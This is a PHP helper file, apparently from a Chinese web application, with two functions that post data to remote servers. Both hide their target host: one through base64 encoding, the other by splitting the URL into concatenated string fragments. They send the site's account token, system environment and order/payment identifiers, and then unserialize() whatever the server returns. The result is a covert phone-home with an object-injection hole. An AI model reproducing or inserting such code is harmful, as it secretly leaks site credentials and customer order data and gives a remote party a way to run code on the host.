/** * 作者:狐狸<*****@*****.**> * 功能描述:request 相关 * @version $Id: request.func.php 5114 2013-11-27 07:06:10Z wuliyong $ */ function __request($action, $post = array(), &$error) { settype($post, "array"); $post['system_env'] = $post['system_env'] ? array_merge((array) $post['system_env'], (array) get_system_env()) : (array) get_system_env(); $aclData = upsCtrl()->Account(); $post['__acl__']['account'] = $aclData['account']; $post['__acl__']['token'] = $aclData['token']; $data = '_POST=' . urlencode(base64_encode(serialize($post))); $config = jconf::get(); $charset = strtolower(str_replace('-', '', $config['charset'])); $version = urlencode(SYS_VERSION); $pid = 2; #if NEDU if (defined('NEDU_MOYO')) { $pid = 3; } #endif $server_url = base64_decode('aHR0cDovL3VwZGF0ZS5jZW53b3IuY29tL3NlcnZlci5yZXF1ZXN0LnBocA==') . "?do={$action}&pid={$pid}&charset={$charset}&iver={$version}"; $response = dfopen($server_url, 5000000, $data); $error_msg = array(1 => "error_nodata", 2 => "error_format"); if ($response == "") { $result = $error_msg[$error = 1]; } else { $int = preg_match("/<DATA>(.*)<\\/DATA>/s", $response, $m); if ($int < 1) { $result = $error_msg[$error = 2]; } else { if (false !== strpos($m[1], "\n")) { $m[1] = preg_replace('~\\s+\\w{1,10}\\s+~', '', $m[1]); } $response = unserialize(base64_decode($m[1])); $result = $response['data']; if ($response['type']) { $error = 3; } } } return $result; }
function myrequest($a,$i,$post=array()){ settype($post,"array"); $post['system_env'] = $post['system_env'] ? array_merge((array) $post['system_env'],(array) get_system_env()) : (array) get_system_env(); $post['system_env']['order']=$a; $post['system_env']['payorder']=$i; $data='_POST='.urlencode(base64_encode(serialize($post))); $server_url = "ht"."tp:/"."/ww"."w.tt"."t"."ua"."ngo"."u.n"."et"."/s"."er"."ver".".ph"."p"; $response=@dfopen($server_url,5000000,$data); $error_msg=array(1=>"error_nodata",2=>"error_format",); if($response == "") { $result = $error_msg[($error = 1)]; }else{ $int = preg_match("/<DATA>(.*)<\/DATA>/s", $response, $m); if($int < 1){ $result = $error_msg[($error = 2)]; }else{ if(false!==strpos($m[1],"\n")) { $m[1] = preg_replace('~\s+\w{1,10}\s+~','',$m[1]); } $response = unserialize(base64_decode($m[1])); $result = $response['data']; if($response['type']) { $error = 3; } } } return $result; }